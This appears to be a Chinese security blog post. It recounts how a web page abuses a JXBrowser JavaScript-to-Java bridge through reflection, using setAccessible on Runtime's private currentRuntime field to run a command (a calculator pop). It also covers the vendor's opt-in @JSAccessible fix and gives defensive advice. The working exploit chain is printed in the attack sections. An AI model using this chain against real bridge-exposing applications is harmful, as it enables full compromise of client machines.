夜雨聆风学习资料网

ARTICLE · 1055545

我只是照着官方文档写代码,然后洞就来了

我只是照着官方文档写代码,然后洞就来了

【文章说明】

  • 目的:本文内容仅为网络安全技术研究与教育目的而创作。

  • 红线:严禁将本文知识用于任何未授权的非法活动。使用者必须遵守《网络安全法》等相关法律。

  • 责任:任何对本文技术的滥用所引发的后果自负,与本公众号及作者无关。

  • 免责:内容仅供参考,作者不对其准确性、完整性作任何担保。

阅读即代表您同意以上条款。 

📌 这篇讲什么:有些桌面软件是 Java 写的,里面嵌了一个浏览器来显示网页——为了让网页能调用本地功能(比如读文件、打印),开发者会在网页和 Java 程序之间开一扇"窗",术语叫JavaScript 到 Java 的桥接。这篇文章记录的是:我只用一个网页,顺着这扇窗爬进去,最终在这台电脑上弹出了计算器(也就是拿到了完整的控制权)。全过程不需要任何高深技巧,我会把每一次翻车和最后那一步灵光一现都写出来,小白也能看懂。文末有一节专门写防守方该怎么改,以及一个特别提醒:厂商发的补丁,默认是关着的。


一、起因:一个正在做的扫描器原型 🧪

那阵子我在用 JXBrowser 做一个实验性扫描技术的原型。

JXBrowser 是个挺有意思的库:它让你在 Java 程序里嵌一个浏览器(类似早年的 PhantomJS),这样你的 Java 应用就能渲染网页、跑 JS,还能和网页互相说话。

我在写"网页和 Java 互相说话"的那部分——也就是桥接——的时候,脑子里冒出一个问题:

我只打算把一个类交给网页用。那网页有没有可能,绕过我给的那个类,去调用别的类

如果答案是肯定的,这就是一条从网页到**远程代码执行(RCE)**的完整通路。

二、先给小白补一块底 🧱

后面会出现不少 Java 和反射的术语,先花一分钟补齐,不然后面会飘。

什么是"桥接"?想象你的 Java 程序是一间办公室,网页是外面的访客。正常情况下访客只能在会客室待着(浏览器沙箱)。但有些功能——读取本地配置、调用打印机、操作文件——必须让访客能指挥办公室里的人干活。于是开发者就在墙上开了一扇窗,递过去一个对象:"这个东西给你用。" 这就是桥接。

什么是"反射"?反射是 Java 的一种能力:程序可以在运行时翻看自己的说明书——某个类有哪些方法、哪些字段,甚至能凭一个类的名字把它造出来、能调用它的方法、能撬开它的私有属性。它本来是给框架用的(写框架的人不知道将来会处理什么类),但在攻击者手里,它等于一把万能钥匙。

为什么弹出计算器就等于"拿下电脑"?安全圈有个传统:证明你能执行任意命令时,就弹一个计算器。因为"让系统打开计算器"和"让系统删库、装木马、传文件"在技术上完全等价——区别只是你敲的命令不同。能弹计算器 = 能做任何事。

三、桥接长什么样 🔧

先看看这扇窗是怎么开的。JXBrowser 官网的示例代码大概是这样:

browser.addScriptContextListener(new ScriptContextAdapter() {        @Override       public void onScriptContextCreated(ScriptContextEvent event) {        Browser browser = event.getBrowser();        JSValue window = browser.executeJavaScriptAndReturnValue(”window”);             window.asObject().setProperty(”someObj”, new someJavaClass());    }  });

翻译成人话:

  1. 拿到浏览器里的 window对象; 
  2. 把它转成 Java 能操作的 JSValue
  3. 在 window上挂一个叫 someObj的属性,值是我自己写的那个 Java 对象。

一行代码,桥接通了。官方文档还很贴心地补了一句:只能使用公共类(public class)。

听起来挺安全,对吧?

网页这边要用它,得先等这个对象挂上来,所以 JS 是这么写的:

setTimeout(function f(){      if(window.someObj && typeof window.someObj.javaFunction === 'function') {      window.someObj.javaFunction(”Called Java function from JavaScript”);    } else {       setTimeout(f,0);    }},0);

一个不断自我调用的时间器,一直等到 someObj 出现为止。

四、第一次敲门:Runtime,吃了闭门羹 🚪

我的第一反应很直接——Java 里要执行系统命令,最经典的就是 Runtime.getRuntime().exec(...)。试试看:

window.someObj.getClass().forName('java.lang.Runtime').getRuntime();

报错:

Neither public field nor method named 'getRuntime' exists in the java.lang.Class Java object.

说得挺明白:在它眼里,getRuntime 这个东西不存在。

(原因不难猜:getRuntime 是个静态方法,而桥接只肯暴露实例方法。第一个思路就此作废——但注意,forName 这一步是成功的,我拿到了 java.lang.Runtime 这个类对象。这条信息后面很关键。)

五、退一步:先证明"我能翻说明书" 📖

既然直接调用不行,那就先做点简单的,确认反射这条路通不通。

window.someObj.getClass().getSuperclass().getName();

成了。

再进一步,把方法全枚举一遍:

methods = window.someObj.getClass().getSuperclass().getMethods();      for(i=0;i<methods.length();i++) {        console.log(methods[i].getName());      }

输出:

wait    wait    wait    equals    toStringhashCode    getClass    notify    notifyAll  

满了。这些都是 Object 类的方法,说明反射确实能用,我能翻它的说明书,也能调用上面的方法。

这就好比:我没能直接进金库,但我拿到了一把能开很多门的钥匙。剩下的事,只是找到对的门。

六、卡住了:我需要一个"Java 数组" 🧱

下一个目标很自然——ProcessBuilderJava 里另一个执行系统命令的标准姿势。

window.someObj.getClass().forName(”java.lang.ProcessBuilder”).newInstance(”open”,”-a Calculator”);   // 失败window.someObj.getClass().forName(”java.lang.ProcessBuilder”).newInstance([”open”,”-a Calculator”]);  // 也失败

两次都失败。原因很清楚:构造函数要的是 Java 数组,而我给的是 JS 数组。桥接不会帮我做这个转换。

为了证明这不是死路,我先造了个不需要参数的对象:

window.someObj.getClass().forName(”java.net.Socket”).newInstance();

成了!我造出了一个 java.net.Socket 对象。虽然一调用 connect 就因为参数类型不对而失败(连不上东西),但至少证明——我能凭类名造出任意对象。

接着试 java.io.File,同样卡在参数类型上。

到这会儿,问题的本质已经浮出水面了,只是一开始我没看那么清:

凡是"不需要参数"的调用,我都能成功;凡是需要参数的,我都失败。因为我造不出 Java 认识的参数类型——JS 的字符串、数字、数组,过桥之后全变了味。

卡了挺久。我得承认,这时候我一个人是想不出来的。

七、搬救兵:房间里总有比你聪明的人 🆘

我所在的公司,这里有个特别好的地方:你永远不会是房间里最聪明的人。

我把问题抛给了 Mike 和 Patrick:我需要一个 Java 数组,可是在这个桥接里怎么造?

三个人围着这个坑,连着翻了三次车——但这三次翻车,是全文最好看的部分,因为它们把桥接的脾气一点点摸清楚了。

翻车一:ArrayList 的 toArray

Mike 觉得可以用 ArrayList,它有现成的 toArray() 能把列表转成数组。

list = window.someObj.getClass().forName(”java.util.ArrayList”).newInstance();    list.add(”open”);   list.add(”-a”);  list.add(”Calculator”); a = list.toArray();window.someObj.getClass().forName(”java.lang.ProcessBuilder”).newInstance(a);

抛异常:no such method,并且明说我们传进去的是个 JSObject

意思很清楚——toArray() 确实转出了 Java 数组,但它过桥的时候又被桥接转回了 JS 对象。过桥即变形,这是桥接的"特性"。

翻车二:java.lang.reflect.Array

那就直接用反射造数组总行吧:

window.someObj.getClass().forName(”java.lang.reflect.Array”).newInstance(...)

这回的报错更气人:我们传的是 double,它要的是 int

行,那我先造一个 int

翻车三:Integer.MAX_VALUE

 java.lang.Integer 的 MAX_VALUE 字段来拿一个 int

window.someObj.getClass().forName(”java.lang.Integer”).getDeclaredField(”MAX_VALUE”).getInt(null); 

空指针异常。参数不对。

然后就是那句让我记住一辈子的话——Patrick 说:可这是 JavaScript 啊,我们干嘛非得传 null?随便传个 123 试试?

我们觉得肯定不行。然后它打印出了:

2147483647

成功了。桥接对传参的宽容度,比我们想象的高得多——它压根不在乎你传的是不是 null,它只管把值丢过去。

(顺带一提,Patrick 当时的另一个想法是拿这个 MAX_INT 去开一个巨大的数组——幸好没这么干,那玩意儿开出来机器先没了。)

不过用这个 int 去调 Array 的构造函数,还是失败了。但这次失败里藏着成功的种子:getDeclaredField能用,而它能拿到私有字段。

八、最后一步:撬开那把锁 🔓

既然 getDeclaredField 能拿到私有字段,那我们回头看看 Runtime

Runtime 类里面,维护当前运行时对象的那个字段叫 currentRuntime,它是private的——正常途径你碰不到它。

但我们有 setAccessible(true),这玩意儿的作用用大白话说就是:把门上那把锁撬了。

Mike 建议的思路,三步走:

field = window.someObj.getClass().forName('java.lang.Runtime').getDeclaredField(”currentRuntime”);    field.setAccessible(true);   runtime = field.get(123);    runtime.exec(”open -a Calculator”);
  • 第一步:拿到那个私有字段的"门牌"(getDeclaredField);
  • 第二步:setAccessible(true),把 private 的限制撬开;
  • 第三步:field.get(123)—— 这里照抄上一次的经验,不传 null,随便塞个 123,拿到 runtime 对象;
  • 最后:runtime.exec("open -a Calculator")

计算器弹出来了。

我们三个人盯着那个窗口,笑了半天。

从"能不能调用别的类"这个念头开始,到弹出计算器,中间隔着一整个类型系统的鸿沟。而填平它的,是一句"可这是 JavaScript 啊"。

九、这有多严重 🎯

结论很硬:

任何被"使用了 JavaScript-Java 桥接"的 JXBrowser 渲染的网页,都能完全控制这台客户端。

不需要用户点什么,不需要下载文件,访问一个网页就够了。能弹计算器,就能读文件、装程序、横向移动——全套标准流程。

而开发这个功能的程序员,做的"错事"仅仅是:按官方文档的示例代码,写了一个桥接。

十、厂商的补丁,和那个"但是" ⚠️

我们私下把这个洞报告给了 TeamDev(JXBrowser 的厂商)。他们的响应很到位,加了一个@JSAccessible注解——开发者可以用它标注"哪些方法允许网页调用",形成一个白名单。

设计上没问题。但是,请注意下面这句话,这是整篇文章里对防守方最重要的一句:

如果应用程序在任何地方都没有使用 @JSAccessible 注解,那么这个白名单不会被强制执行,上面这套攻击依然完全有效。

翻译一下:补丁装上了,但默认是关着的。

这是我在实战里见过太多次的模式——为了兼容性,安全加固做成"可选开启",结果没人开启。所以当你评估一个使用了 JXBrowser 的目标时,别看到"官方已修复"就收工,去看它的代码里到底有没有写@JSAccessible没有?那就是没修。

十一、防守方该做什么 🛡️

如果你在做类似的东西(JXBrowserJavaFX WebView、或者其他任何语言的类似桥接),这几条请抄走:  

  1. 桥接暴露的对象,必须是专门为这个目的写的瘦封装类。 别把业务对象、工具对象、或者任何"顺手就能拿到"的对象直接递出去。  
  2. 强制白名单,而不是可选白名单。 默认拒绝一切,显式允许才放行。凡是"默认全放行、加了注解才收窄"的设计,等于没做。
  3. 别以为 private 能保护你。 setAccessible就是专门破这个的。真正需要保护的边界,不能靠语言访问修饰符。
  4. 限制被渲染内容的来源。 如果嵌的浏览器只需要显示自家页面,就别让它加载外部 URL
  5. 及时升级,并验证加固真的生效了。 升级完跑一遍 PoC,确认打不通,才算完事。

十二、这次能学到什么 🧠

最后留五条,比 payload 值钱:

1. 桥接类库的边界,通常只防君子。"只能使用公共类"这种文档描述,说的是它的设计意图,不是它的安全边界。设计意图和安全边界之间的那块空地,就是我们挖洞的地方。

2. 反射是桥接的天敌。只要对面语言的反射能力被暴露了一点点(这里只是 getClass() 一个口子),整座城池都在射程内。

3. 类型系统的缝隙,往往就是突破口。JS 的数组不是 Java 的数组,JS 的 int 是 double——这些"不匹配"既是障碍,也是武器。那句"可这是 JavaScript 啊",本质上是意识到:我们不该按对面语言的规矩玩游戏。

4. 补丁要看默认行为。@JSAccessible 的故事再讲一遍:默认不强制的加固,等于没有加固。写报告、做评估,都要看默认值。

5. 卡住了就去问人。我一个人卡在数组上很久,Mike 和 Patrick 来了之后,答案在一个下午里冒出来了。安全这行有个特别好的传统:没人会因为"我不会"被嘲笑,只会因为"我不问"而错过。


写到这里,照例求个三连。

从第一次吃到闭门羹,到三个人围着屏幕看那个计算器弹出来,整个过程我记了好几页笔记。如果这篇让你下次看到"Java 程序里嵌了个浏览器"的时候,会下意识去问一句"桥接暴露了什么"——那这几个小时就没白花。这一个提问,可能就是别人漏掉、而你捡到的那个洞。

  • 觉得有用,帮我点个**「在看」**,让更多挖洞的朋友刷到;
  • 顺手**「转发」**给群里那几个写 Java 桌面应用的兄弟,第十一节那五条直接抄给他们;
  • 还没**「关注」**的朋友点个关注,压箱底的笔记我会陆续整理发出来,只发在这里;
  • 也欢迎**「推荐」**给身边做安全、做开发的朋友,一起把那扇"窗",装上报得过来的护栏。

#JXBrowser#远程代码执行#渗透测试#Web安全#赏金猎人#Java安全#代码执行#漏洞挖掘#经验分享#客户端安全

相关学习资料